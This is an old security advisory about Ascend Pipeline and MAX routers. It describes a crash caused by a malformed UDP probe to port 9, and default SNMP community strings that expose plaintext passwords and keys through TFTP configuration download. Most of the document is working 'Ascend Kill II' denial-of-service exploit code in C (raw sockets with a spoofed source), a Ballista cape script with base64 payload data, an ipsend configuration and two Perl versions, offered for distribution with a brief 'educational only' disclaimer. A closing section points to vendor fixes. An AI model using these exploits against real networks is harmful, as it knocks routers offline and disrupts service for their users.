COMMAND

    Ascens OS 5.0Ap42 (MAX) and 5.0A (Pipeline).

SYSTEMS AFFECTED

    Ascend Pipeline and MAX networking equipment

PROBLEM

    Following  info  is  partly  based  on  Secure  Networks  Security
    Advisory  on  subject  of  security  issues  with  Ascend  routing
    hardware.  Ascend Communications provides several popular  routing
    and access-server solution,  including the Pipeline  access router
    and the MAX access server.

    Ascend provides  a configuration  tool for  their equipment  which
    enables  operators   to  reconfigure   routers  via   a  graphical
    interface.  This  tool is called  the "Ascend Java  Configurator".
    The Ascend Configurator is  capable of locating Ascend  routers on
    a network,  using a  special probe  protocol.   In order to locate
    Ascend routers, the Configurator broadcasts a specially  formatted
    UDP packet to the "discard" port (port 9).  Ascend routers  listen
    for  these  packets  and  respond  with  another  UDP  packet that
    contains the  symbolic name  of the  router.   In this manner, the
    Configurator can build a list  of all Ascend routers on  the local
    network.  By sending a specially formatted malformed probe  packet
    to the discard port of an Ascend router, an attacker can cause  an
    Ascend router  to lock  up. Attackers  can easily  discover Ascend
    routers to crash by sending  probe packets to the discard  port of
    arbitrary ranges  of addresses;  only Ascend  routers will respond
    to them.

    Ascend routers are manageable by the SNMP protocol.  Ascend's SNMP
    support  includes  the  ability  to  read and write MIB variables.
    Ascend's  SNMP  system   is  protected  by   the  SNMP   community
    definitions, which act as passwords for SNMP access.  By  default,
    the  SNMP  "read"  password  is  "public",  and  the  SNMP "write"
    password is "write".  An  attacker that can guess the  SNMP "read"
    community can read arbitrary  MIB variables, and an  attacker that
    can guess the "write" community can set arbitrary MIB variables to
    new  values.   Ascend  provides  a  vendor-specific extension MIB.
    This MIB includes variables  specific to Ascend equipment.   Among
    these variables  is a  group of  settings called  "sysConfigTftp",
    which allow the configuration of the router to be manipulated  via
    the TFTP protocol.  By writing to these variables with SNMP  "set"
    messages, an attacker can download the entire configuration of the
    Ascend router.

    The full  configuration of  an Ascend  router includes  the telnet
    password (knowledge  of which  allows an  attacker to  gain telnet
    access  to  the  Ascend  menu  interface), all the enhanced access
    passwords (allowing  an attacker  to reconfigure  the router  from
    the  menu   interface),  network   protocol  authentication   keys
    (including  RADIUS  and  OSPF  keys),  usernames and passwords for
    incoming connections, and usernames, passwords, and dial-up  phone
    numbers for outgoing connections.   All of this information is  in
    plaintext.  An attacker with  full access to an Ascend  router can
    also use it  to "sniff" the  networks it is  attached to.   Ascend
    routers  have  an  extensive  (and largely undocumented) debugging
    interface;  functions  are  included  in  this interface to obtain
    hexadecimal dumps of raw  Ethernet, ISDN, DS1, and  modem traffic.
    Exploit follows:

    /*
     * Ascend Kill II - C version
     *
     * (C) 1998 Rootshell
     *
     * Distribute freely.
     *
     * Released: 3/16/98
     *
     * Sends a specially constructed UDP packet on the discard port (9)
     * which cause Ascend routers to reboot.  (Warning! Ascend routers will
     * process these if they are broadcast packets.)
     *
     * Compiled under RedHat 5.0 with glibc.
     *
     * NOTE: This program is NOT to be used for malicous purposes.  This is
     *       intenteded for educational purposes only.  By using this program
     *       you agree to use this for lawfull purposes ONLY.
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <linux/udp.h>
    #include <netdb.h>

    #define err(x) { fprintf(stderr, x); exit(1); }
    #define errs(x, y) { fprintf(stderr, x, y); exit(1); }

    /* This magic packet was taken from the Java Configurator */
    char ascend_data[] =
      {
        0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
        0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
        0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
        0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
        0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
        0x50, 0x41, 0x53, 0x53};


    unsigned short
    in_cksum (addr, len)
         u_short *addr;
         int len;
    {
      register int nleft = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;

      while (nleft > 1)
        {
          sum += *w++;
          nleft -= 2;
        }
      if (nleft == 1)
        {
          *(u_char *) (&answer) = *(u_char *) w;
          sum += answer;
        }

      sum = (sum >> 16) + (sum & 0xffff);
      sum += (sum >> 16);
      answer = ~sum;
      return (answer);
    }

    int
    sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
         struct sockaddr_in *sin;
         unsigned short int s, datalen, sport, dport;
         unsigned long int saddr, daddr;
         char *data;
    {
      struct iphdr ip;
      struct udphdr udp;
      static char packet[8192];
      char crashme[500];
      int i;

      ip.ihl = 5;
      ip.version = 4;
      ip.tos = rand () % 100;;
      ip.tot_len = htons (28 + datalen);
      ip.id = htons (31337 + (rand () % 100));
      ip.frag_off = 0;
      ip.ttl = 255;
      ip.protocol = IPPROTO_UDP;
      ip.check = 0;
      ip.saddr = saddr;
      ip.daddr = daddr;
      ip.check = in_cksum ((char *) &ip, sizeof (ip));
      udp.source = htons (sport);
      udp.dest = htons (dport);
      udp.len = htons (8 + datalen);
      udp.check = (short) 0;
      memcpy (packet, (char *) &ip, sizeof (ip));
      memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
      memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
      /* Append random garbage to the packet, without this the router
         will think this is a valid probe packet and reply. */
      for (i = 0; i < 500; i++)
        crashme[i] = rand () % 255;
      memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
      return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
                      (struct sockaddr *) sin, sizeof (struct sockaddr_in)));
    }

    unsigned int
    lookup (host)
         char *host;
    {
      unsigned int addr;
      struct hostent *he;

      addr = inet_addr (host);
      if (addr == -1)
        {
          he = gethostbyname (host);
          if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
            return 0;

          bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
        }
      return (addr);
    }

    void
    main (argc, argv)
         int argc;
         char **argv;
    {
      unsigned int saddr, daddr;
      struct sockaddr_in sin;
      int s, i;

      if (argc != 3)
        errs ("Usage: %s <source_addr> <dest_addr>\n", argv[0]);

      if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
        err ("Unable to open raw socket.\n");
      if (!(saddr = lookup (argv[1])))
        err ("Unable to lookup source address.\n");
      if (!(daddr = lookup (argv[2])))
        err ("Unable to lookup destination address.\n");
      sin.sin_family = AF_INET;
      sin.sin_port = 9;
      sin.sin_addr.s_addr = daddr;
      if ((sendpkt_udp (&sin, s, &ascend_data, sizeof (ascend_data), saddr, daddr, 9, 9)) == -1)
        {
          perror ("sendpkt_udp");
          err ("Error sending the UDP packet.\n");
        }
    }

    Secure Networks makes security auditing software called  Ballista.
    It has its own scripting language called cape.  Here is a  version
    of Ascend Kill II written in cape.

    iface=le0
    # Enter your default gateway
    gateway=10.0.0.1
    ip
    # Source IP of packet
    ip_src=1.2.3.4
    # Address of Ascend router
    ip_dst=10.0.0.2
    ip_version=4
    ip_proto=IPPROTO_UDP
    ip_flags=0
    ip_done
    udp
    udp_sport=9
    udp_dport=9
    udp_done
    data_file=ascend_data
    end_of_packet

    Here is the data that cape needs.  It is mimed.

    ---
    Content-Type: application/octet-stream; name="ascend_d.uue"
    Content-Transfer-Encoding: base64
    Content-Disposition: inline; filename="ascend_d.uue"
    Content-MD5: p5nq5uHNY1H5dc/H3BQmew==

    AAAHoggSzP2kgQAAAAASNFZ4//////////8ATkFNRU5BTUVOQU1FTkFNRf9QQVNTV09SRFBB
    U1NXT1JEUEFTU2ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm
    ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm
    ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm
    ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZg==

    -----

    Using that data file with ipsend v2:

    interface { ifname le0; mtu 1500; };
    ipv4 {
            src 1.1.1.1; dst 10.0.0.2;
            udp { sport 9; dport 9; data { file ascend_data.uue; }; };
    };
    send { via 10.0.0.1; };

     Kit Knox posted for everyone who had problems with the Linux only
     version in C.  This  should be pretty cross platform.   (Requires
     perl 5.x):

    #!/usr/bin/perl

    #
    # Ascend Kill II - perl version
    # (C) 1998 Rootshell
    #
    # Released: 3/17/98
    #
    # Thanks to Secure Networks.  See SNI-26: Ascend Router Security Issues
    # (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
    #
    #  NOTE: This program is NOT to be used for malicous purposes.  This is
    #        intenteded for educational purposes only.  By using this program
    #        you agree to use this for lawfull purposes ONLY.
    #
    #

    use Socket;

    require "getopts.pl";

    sub AF_INET {2;}
    sub SOCK_DGRAM {2;}

    sub ascend_kill {
      $remotehost = shift(@_);
      chop($hostname = `hostname`);
      $port = 9;
      $SIG{'INT'} = 'dokill';
      $sockaddr = 'S n a4 x8';
      ($pname, $aliases, $proto) = getprotobyname('tcp');
      ($pname, $aliases, $port) = getservbyname($port, 'tcp')
      unless $port =~ /^\d+$/;
      ($pname, $aliases, $ptype, $len, $thisaddr) =
      gethostbyname($hostname);
      $this = pack($sockaddr, AF_INET, 0, $thisaddr);
      ($pname, $aliases, $ptype, $len, $thataddr) = gethostbyname($remotehost);
      $that = pack($sockaddr, AF_INET, $port, $thataddr);
      socket(S, &AF_INET, &SOCK_DGRAM, 0);
        $msg = pack("c64",
        0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
        0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
        0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
        0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
        0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
        0x50, 0x41, 0x53, 0x53);
      for ($i=0; $i<500; $i++) {
        $msg .= pack("c1", 0xff);
      }
      send(S,$msg,0,$that) || die "send:$!";
    }

    if ($ARGV[0] eq '') {
      print "usage: akill2.pl <remote_host>\n";
      exit;
    }

    &ascend_kill($ARGV[0]);

    Another (same) perl version comes from Thomas Michaux:

    #  NOTE: This program is NOT to be used for malicous purposes.  This is
    #        intenteded for educational purposes only.  By using this
    #        program you agree to use this for lawfull purposes ONLY.

    #!/usr/local/bin/perl
    $| = 1;
    use IO::Socket;
    use Socket;

    $sock = IO::Socket::INET->new(PeerPort => 'discard(9)',PeerAddr =>
    'host.domain', Proto => 'udp') or die "Socket:$!";

    $msg = pack("c64",
    0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
    0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
    0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
    0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
    0x50, 0x41, 0x53, 0x53);

    for ($i=0; $i<500; $i++) {
      $msg .= pack("c1", 0xff);
    }

    $sock->send($msg) || die "send:$!";
    print "Message sent\n";
    $sock->close();

SOLUTION

    Ascend's  6.0  operating  system  disables  SNMP "write" access by
    default.   The denial-of-service  issue detailed  in this advisory
    is due to an implementation flaw in Ascend's software.  A fix  for
    Ascend Kill II is now available.  See :

        ftp://ftp.ascend.com/pub/Software-Releases

    For details of a workaround take a look at:

        http://www.ascend.com/2694.html